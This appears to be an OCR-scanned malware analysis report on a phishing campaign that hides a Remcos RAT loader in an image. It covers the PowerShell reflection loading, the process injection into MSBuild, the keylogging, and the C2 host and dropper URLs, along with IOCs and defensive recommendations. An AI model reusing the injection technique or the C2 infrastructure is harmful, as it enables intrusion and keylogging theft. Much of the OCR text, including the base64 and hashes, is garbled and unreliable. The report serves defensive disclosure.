TVQQAAMAAAAEAAAA S /BAAL GAAAAAAAAAQAAAAAAAAAAAAAAAL AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAL Fug4AtANNTbgB TMOhVGhp cyBwemIncmF tIGNhbm5vdCBiZSH

[DBG]: PS C:\Users\flare>> |



Figure 9 Payload by means of steganography

It values vessels decoded BY base64 and it is evident that we are dealing with an executable file.

Input + Cl E i [T

TVGQAAMAAAAEAAAAS / BAALEAAAAARAAAQAAAAAAAAAAAALAAAAAAAAAAAALAALAALAAAAAALARAAASAAGAAALAAfug4ATANNTIDEBTMBRVGhpCy BwemIncmFtIG
Nhbm5vdCBiZSBydWagakd gRESTIGLvZGUUDQBK JAAAAAAAAABQRQAATAEDAF/ 6EMCARAAAAAARADAATIAL ATAAADZY ARAGAARARAAAS LY YARASAARARAAAARAR
EAAgAAAAAGAABAAARALAAAAGAAALALAARACEGARAAGARALAALAMAY TUAABALAABAAAAAAEALAEALAAALAABAALAAAAALALALAL| BHGAB LAAAAAGAYAALEARALLAA
AALALARARAARAAAAAAATAY AAWAALLAAARALARALAALAAAAAALALAARAAAAAL AR ARALARARAAAAAAAAALAARARAAAAAAAAAAA T ABACAAAAAAAARAAAARACCARAE A
AAAAAARAAAAAACSBZXhBAAAABDCYARAZAAAADBEAAAT AARAAAAAALAAAAAAAACAAAGALUCNNY YWARAAAEAAAAYBEALAQAAAAGGALAALAAAAAAAAAAAABAAABALN
11bG9jAAAMAAARATAY AAACAAAAPhEAAAAAAARAAAAAARARNQAAAQE AAAAARARAAAARARAAAAAD EVhg AAAAAAE BAAAACARUALKMMAP Y yCwABAAAAAARAAAADDACY
NWAAAAAAAAAAAAAAAAAARARAAAARARARAAAARARAAAARARAAAARARAAAABA CewIAMADGHE D7 AWAACT plAT EEAAAKAENOASAAC g TEFQMAAROGAAATMAMAYQAAAR
EAABEDAQEAABSKKYUCB155Ky cGLEOrKIgGAAAKANSCARAKBN SCAAAKbC AAROSMC sSWHBETQTDVKWA TN 8KMNMrBh/ PHYMy@CgIAAAKANS DAAAK BN SDAAAK kA
AfOrARYFARCO1DFWDYZ ICIVVaVaKAYAAACC eWI AAADYC GAAC 1ggKVWVPVooC ARACE ] 7AWAAC MBLAAAKIC 0AABMWBWENAAAAAZAAERQZERAAAC ELKWAGGTBBAA
ABIRYCewIAAAOKEZALCQQAABUMBAAAGYBE JThQrC/ AWBAAAG2BMAAAK0IUXANSDAAAKCXIBIXEFAAADJAUAABS tBCYUKWV+FgUAABTVDAAACGIODQAACIoeANSQ
AAAKKh4CexEAAAOGHEI7EGAACIqaAlgEAMAKAGNIEAAACTSJAGROEQAAC I SGH+EFTTLXAGVIEGAACIOAABMWAWE /AAAAAWAAEQNLBZAAGUOrQWIGD20AAAAr)E
YSYgAAACECKAYAAAOCeXAAAADGeXARAADVEBWAACIXTKAgAAAOCeXEAAADGe XEAAAPY CQAAC TIvwKxYT jBOxMrcrDh8 jH7 4wuCsGH3EfrDC4KBMAAAOCexTAAACG
exIAAAPVFAAACISBF1sBFYoAEZADAESAAAAAAAAATC jvPPUEKVVYPVooBgAACE]7 EAAACHBKAAAKWCAPVVIWLWI g IAAAKAN SRAAAK bws AARPYIC 1VVaVakBMAAA
oCexTAAApVFQAACLgqABMWEWCPAARABAAAERQEdhBAACEtKWAGGYBBAAABIRY CexAAAAOKEZALCQQAABUMBARAGYBEThQrC/4WBAAAG2B8MAAAK 01 UXANSRARAK
CxIBIXEFAAABTAUAABSTBCYUKWy+F gUAABTVDAAACGILGAT7EGAACEWSALVRCAAAGAWIAAABLQOMFCSL /hYIAAAbDIWAAAGIKABAAADGHEI 7 FgAACIoeANSXAR
AKKh4CexgAfAoqHgI7GQAACioeAnsaAAAKKgADMATAS g ARAAAAAAACKAQAAAOCAI BWAALKK XWCBHBXAAAKKxSCBXOYAAAKKx0CDERIGQAACT sWHE4AT1Z LeKwaf
ih9nNMt8rBhS rH58waAIDEX8aAAAKK BAAEZ ADAMMAAAAFARARASUIAAADC ThBAAAAAZY 7 rg ARADh 7AAAAB T Mg AAAADHS AAAAOBEAACE ] 7F gAACE Z7FgAACMBHAA
AKOYAARAAOCAAACEI7FWAACEZ 7 FWAACMBIAAAKL GEoEWAACE I 7GARACEZ TGAAACMBUAAAKLFAOGWAACE J7GQAACEZ 7TGQAACMBCAAAKLDErHhIIHAUe/ // fysT

HuTFTNAR/ / / [KworHAF A £F/ 7 [vrodAAAK AncaAAAKRN S AAAAK hyARAAAPARY AR FA ARMWAWRSAAAAAARALALCC ImiAiTO IV AV AK AVAAANCaYVAAA N oAAC ] ook
mc 2119008 = 1 Tr Raw Bytes & LF

Qutput ’/: a I—D | oo

7 0L ST UL VUL EOTNUE L UL AL N ML N NG MU LU L UL VUL VUL VUL L UL VUL ML VUL UL UL UL LU VL UL L UL NG UL VUL VUL WU VUL UL UL MU SUL 0L 50 w5 @ 5o~ T ]
. v saBrut v BeannuLABLACKHULNULNGL

s=«LI!This program cannot be run in DOS mode. ca cr ir Buusuisursuesuisuu PEsucvuc L sonerzsue_ U8Exuusuisunuesuisuvoesu @ v "

wuULKULWULDVCANNULNUL - WULWULNULWULWULNULWULKULKULDLENUL - SULSULSULSTXNULNULEOTSULNULNULYULSULNUL NULACKNUL NULNULNULWULNULNULNUL - CANNULNULSTRNULNULNULNULNULNULETXNUL . ® NULNULDLENUL UL DLENULWULWULNULDLE
NULNULDLENULNUL SULNULNUL SUL BLENUL wuLsULsuL wuLsuLsusussucsuevue @ Weannut Kvuosu s sue” cassuL suL E0TAULSUL SULSUL SUL KULSUL SUL NULNUL SUL NULNUL SUL WULNUL SUL NULNUL ® CANNUL
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&5 suusurHywowoo v sucs v sucs v sucies . EECE st s eor 7eansuinus - MuLuiL v Bea st sULSTSUIL SULNUL SUL KULNUL SUL SULNUL SUL NULKULRULNUL SULSUL - ISP CSULNUL UL SULEOT SULNULNUL | CARNULNULEOTNUL
NULUL § cassuLsuLsuLsuLsuLsuLsuLsuLsuLsuLsuLsucsuc@suo @, re Lo

ULV FUL FUL ® CANNGLNUL STXNULSUL YL > CANNULAGLNGL ML NEL UL VLN ML oL vt s B wu st ot s su st swe s susse et s st s 3V canmet oo e Hiw e weestomevawas *£

sl % YT SULSOHYULNULNULSULSUL NULSULSULETX

*

*

STRNULNUL LF STXEDT JETXsuLsUL LF *nuLsuLocs@emivuLd suLsusussonsusuLocierxUsornuisuiese LF +%smxack - R4 " aok, 47 (ackvnue L stef smosusue e ack smosuisue e Oz e , B+svius Hus ABO+

50 us 7 us $00+ackus T us #2D( s muuwe vr srof emowinue e aoe] emamwine e 0 wown e +sonsmcksoners*0 BA<?  JUUYZ (acxvuuvun e stxf smovunen e O ur sunon te X YUUXZ( s wunor e
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Figure 10 MZ File The executable

We download this file and start the analysis.



File name

C:\Users\flare\Desktop'download.exe
File type File size
PE32 1.52 MiB

Scan Endianness Mode Architecture
Automatic LE 32-bit 1386

¥ PE32
Library: NET(v4.0.30319)[-]
Compiler: VB.NET(-)[-]

Linker: Microsoft Linker(48.0)[DLL32]

i v Recursive scan v/ Deep scan || Heuristic scan v/ Verbose
Scan
100% [ ] all types 268 msec

Figure 11 FILE in .NET

If, we start the reverse engineering phase it is noted that the file has a name TaskScheduler . This
file has imported several functions of Win32API such as VirtualAlloc,VirtualProtect
\WriteProcessMemory_API etc. which give us an idea that the injection of payloads in any
legitimate process is being attempted.

startupreg, caminhovbs, namevbs, netframework,
{
if (vmName == 37.smethod_8(12359))
{

if (vir eD or.Assert(

arraylist = t();
managementCla 7.smethod_08(12379));
managementBaseObject in managementClass.GetInstances())

t managementObject ntObject)managementBaseObject;
(C JmanagementObject[C .smethod_8(12192)])

arraylist.Add(managementObject[ 7.smethod_0(12u86)].ToString());
H

}
foreach ( obj in arraylist)
{
if (obj.ToString() == ¢ .smethod_0(12499))
{
Environment .Exit(@);
Iy
}
}
num;
if ( .IsNullOriWhiteSpace(minutos))

Figure 12 VAI function

The powershell code that will be analyzed:

[ System.Reflection.Assembly ]:: Load( $ lepidosperma ) which uses powershell reflection to
dynamically load executable files or dll with the purpose execution of functions that are
implemented



Then it is called the function VAI and the following parameters are passed:

—13mailers = [dnlib.I0.Home].GetMethod( VAI ).Invoke(3null, [object[]] @(
$hypsometrist, "', "', "', "™MSBuild', "', "', "', "', "C:\Users‘Public\Downloads',

e v

"xylosma', 'js', , 'ketofuranose’, '2',

))
Figure 1 VAI function

VAL function is the function which takes 17 parameters in total. Parameters that are more important
are the payload of type text in figure no. 7 and the string of characters MSBuild .

Extracted executable files can't be called just by double clicking but we need to call the functions
by creating other executable which we create on purpose calling the VAI function.

dnlib.IO0
Home

( QBXtX, startupreg, caminhovbs, namevbs, netframework, native, nome
persitencia, url, caminho, nomedoarquive, string_e, minutos, startuptask, taskname,
startup_onstart)

@ (vmName == Class237.smethod_8(12359))

100% ~

Locals

Name

tframework
tivo
menativo

< persitencia

@ url

© caminho

> nomedoarquivo

Figure 13 Calling the VAI function

This payload passes in other functions, gets transformed and injected in one process legitimate
with the name MSBUILD. So, the file starts the legitimate process MSBuild and injects something
the memory of this process, so we follow it with debug to find out what is being injected.

We placed a breakpoint in the class Tools in the functions Api.WriteProcessMemory and noticed
a hex value at the beginning 0x4D and 0x5A . So we are dealing with a process injection in memory
of the process Msbuild .



(!API.WriteProcessMemory|process_INFORMATION.ProcessHandle, num8, byte_@, num7, ref numS))

E

num + 248;
(byte_@, num +
numll )(numl@ - 1);
( numll; i++)

(byte_®, num9 + 12);

(byte_®, num9 +
(byte_©, num9 +

Value

Figure 14 Injection The A file THE executable IN MSbuild

We save this file on the Desktop and change extension .exe will get the file logo Remcos rat.

File name

C:\Users\flare\Desktop\remcos_rat.exe I:|

File type File size |:| Advanced
PE32 469.50 KiB

Scan ia Mode Architecture e
Automatic 32-bit 1386 remcos rat.ex

v PE22 e

Compiler: EP:Microsoft Visual C/C++(2013-2017)[EXE32]
Compiler: Microsoft Visual C/C++(2015 v.14.0)[-]
Linker: Microsoft Linker(14.0, Visual Studio 2015 14.0%)[GUI32]

Figure 15 Remcos Rat.exe

L Jremcos_ratexe Close Wait 192.168.101.111 50653 178.237.33.50
- . . p— p— P P — e n e
Figure 16 Command and control Remcos rat

2 }
3 pwVarls = L"\\install.vbs";
i pwVar5 = (wchar t *)FUN_00435%e5f(L"Temp") ;
3 pvVar4 = FUN_0040415e (auStack_al,pwVar3);
5 FUN_00402f£f4 (local_&% 5)i
7 FUN_00401eef {auStac)
3 FUN_0040415e (auStack_ t.3lesp 1000\n");
3 thunk FUN_ 00403202 (au k_c0,L"Set fso = IJreateO;::' ect (\"Scripting.FileSystemChject\")\n");
b if (param 5 == "\=x01") {
L pwVarleé = L"\n";
2 wVarls = L"\"";
3 1 = FUN_0040415e(ausStack_ 18, (wchar_t *)&DAT 0046f H
1 = L"\"";
3 = FUN_0040415e(auStack 20,L"fso.DeleteFile ");
B = FIIN O0402Fffd4{anStark 4R . nvVar9. owVar5) =

' Figure 17 CreateObject and VBS script



We also noticed creating the logs.dat file in the path C:\ProgramData\remcos\ logs.dat which

stores the all keyboard keys (Keylogger) .

LT
File Edit Search View Encoding Language Settings Tools Macro Run Plugins Window ?
Pl = L= 1E Y= D2 éi x| S 1E=EEEBA 2|« MEEFEE= s~
=] 10gs.dat ﬂ}
1 4
2 [2025/04/23 15:28:25 0ffline Keylogger Started]
4 [Process Explorer - Sysinternals: www.sysinternals.com [DESKTOP-IKSROC1\flare] (Administrator)]

[Program Manager]

[Selected Tab]

Figure 18 Keylogger

During debug tracking Remcos Rat we will record domain connection funky333|[.] duckdns [.]Jorg

at port 31832

8p47 34
8BCC
BA 382F4600

suu Top, o
lea eax,dword ptr ds:[edi+34]
mov ecx,esp

mov edx,remcos_rat.462F38 edx:"TLS Handshake. ..

50 push eax eax:&"funky333.duckdns.org:31832"
ES8 OFDA0000 call remcos_rat.4052FE
83EC 14 sub esp,l14
8BCC mov ecx,esp
Figure 19 domain The duckdns and gateway

eax:&"funky333.duckdns.org:31832", [edi+34]:"funky333.duckdns.org:31832"

", 462F38:"TLS Handshake...

MITRE ATT&CK MITRE ATT&CK

Description

Tactics Technique
Initial Access Initial Access Phishing: Malicious File | Image email (e.g., .jpg)
(T1566.002) containing a

steganographically
hidden payload.

Execution Execution Command and Scripting

Script or command that

Information

Interpreter (T1059.003) | extracts and executes the
payload from the image.
Defense Evasion Obfuscated Files or T1027 Payload hidden through

steganography to avoid
AV/EDR.

Persistence Boot or Logon Autostart

Execution

Registry Run Keys
(T1547.001)

Remcos is configured to
start with the system
through the registry.

Privilege Escalation Privilege Escalation Injection Process

(T1055)

Malicious code is
injected into a legitimate
process to gain more
privileges.




Defense Evasion Defense Evasion Hollowing Process

(T1055.012)

Remcos is injected into
a process known as
msbuild.exe to disguise
itself.

Command and Control | Command and Control Ingress Tool Transfer

(T1105)

Remcos can download
other tools for additional
functions.

Command and Control Command and Control Non-Application Layer

Protocol (T1095)

Communication with the
C2 server through
invisible protocols for
detection.

Indicators of Compromise

B3E3378BBB469B63B91D7A6728DCD277E68954F01739D3A9CODE2EF21
3A8641D

remcosrat.exe

609AEG660CAD82A9D0C4926844E2AED2293363336 CA91EEOF4F05F6564
C08025A

Order Purchase A-------
--------- 00374 pdf.js

ODF13FD42FB4A4374981474EA87895A3830EDDCC7F3BD494E76ACD60
4C4004F7

Microsoft. Win32.TaskS
cheduler

375E7EA8926B23D081465D02E9A195B8142A12F525A8EE9CES90CIFAL
73AFCD7

Purchase Order A-------
--------- 00374 pdf.1zh

238D6EF69FFIA719F15FDEE8309CF/ACCI12E0593BD7E65274ED8F2F2
AGE924B9

New_image.jpg

hxxps[://1ia801700[.]Jus[.]Jarchive[.Jorg/6/items/new_image 20250413/new_i | Dropper

mage[.]jpg

hxxp[://]paste[.]ee/d/se4Qrn03/0 Dropper

hxxps [ :/ /]paste [.] ee /d/x8Mo8qY Q/0 Payload

funky 333[.] duckdns [.] org Cc2

178[.]237[.]133[.]50 C2
RECOMMENDATIONS

The National Cyber Security Authority recommends:

e Immediate blocking of the Indicators of Compromise, mentioned above, on your protective




devices.

Continuous analysis of logs coming from SIEM (Security Information and Event
Management).

Training non-technical staff about "Phishing" attacks and ways to avoid infection from them.
Installing network perimeter devices that perform deep traffic analysis based not only on access
list rules but also on its behavior (NextGen Firewalls).

The identified systems should be segmented into different VLANS, applying "Access control
lists for the entire network perimeter™, web services should be separated from their databases,
Active Directory should be in a separate VLAN.

Application and use of the LAPS technique for Microsoft systems, for managing Local
Administrator passwords.

Apply traffic filters in the case of remote access to hosts (employees/third parties/customers).
Implement solutions that filter, monitor, and block malicious traffic between Web applications
and the internet, Web Application Firewall (WAF).

Conduct traffic analysis at the behavior level for end devices, applying EDR, XDR solutions.
This brings the analysis of malicious files not only at the signature level but also at the behavior
level.

Design a user access management solution "Identity Access Management™ to control user
identity and privileges in real time according to the "zero-trust” principle.



